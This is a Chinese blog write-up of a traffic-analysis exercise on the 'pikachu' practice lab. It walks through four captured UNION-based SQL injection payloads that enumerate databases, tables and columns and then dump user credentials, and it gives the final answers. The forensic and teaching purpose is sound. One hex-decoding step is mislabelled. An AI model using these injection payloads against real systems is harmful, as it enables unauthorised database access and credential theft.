记一次SQL注入流量分析 | 添柴不加火

目录
  • 题目情景
  • 题目
  • 流量分析
  • 最终答案

题目情景

态感平台近期发出了3条告警信息,疑似有攻击者企图攻击某网站服务器, 平台告警信息可能存在误报,请根据告警信息回答下列问题。

题目

1、查出的数据库名是(多个库名用中文顿号分隔,例如:A、B) :
2、数据库查出的表名(多个表用中文顿号分隔,例如:A、B):
3、用户表包含哪几个字段(多个表用中文顿号分隔,例如:A、B):
4、pikachu用户密码的MD5值是:

流量分析

根据题目描述,我们可以推测出这是SQL注入的流量。
Snipaste_2026-03-24_13-25-27

一共有三个流量包,首先要“统计-协议分级”看看哪一个流量包含有HTTP协议,发现含有HTTP协议的只有第二个流量包,剩下两个流量包都不含HTTP协议,肯定是误报。打开流量包2,先过滤HTTP请求,大致看一下,发现请求方法是POST,接下来过滤POST请求,输入http.request.method=="POST"
1

分析注入语句1:
2
1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,schema_name)),0x717a707671),NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -
这是查库的语句,右键追踪HTTP流,发现返回了5个数据库名
2.1
2.2

分析注入语句2:
3
1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,table_name)),0x717a707671),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x70696b61636875)-- -
0x70696b61636875 Hex解码得到pikachu
这是查表的语句,右键追踪HTTP流,发现返回了5个表名
3.1

分析注入语句3:
4
1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,column_name,column_type)),0x717a707671),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x70696b61636875-- -
0x70696b61636875 Hex解码得到users
这是查列(字段)的语句,继续追踪HTTP流,发现返回了users表的字段名
4.1

分析注入语句4:
5
1 UNION ALL SELECT CONCAT(0x716b717171,JSON_ARRAYAGG(CONCAT_WS(0x73626a6a6274,'level',id,password,username)),0x717a707671),NULL FROM pikachu.users-- -
这是查users表的所有字段的数据,追踪HTTP流,发现返回了数据,经过判断,得到pikachu密码的MD5值
5.1

最终答案

题目回顾:
1、查出的数据库名是(多个库名用中文顿号分隔,例如:A、B) :
2、数据库查出的表名(多个表用中文顿号分隔,例如:A、B):
3、用户表包含哪几个字段(多个表用中文顿号分隔,例如:A、B):
4、pikachu用户密码的MD5值是:


综上得到最终答案:
数据库名:information_schema、mysql、performance_schema、sys 、pikachu
表名:httpinfo、member、message、users、xssblind
字段名:level、id、password、username
Pikachu密码MD5:670b14728ad9902aecba32e22fa4f6bd


至此,SQL注入流量分析结束,感谢支持!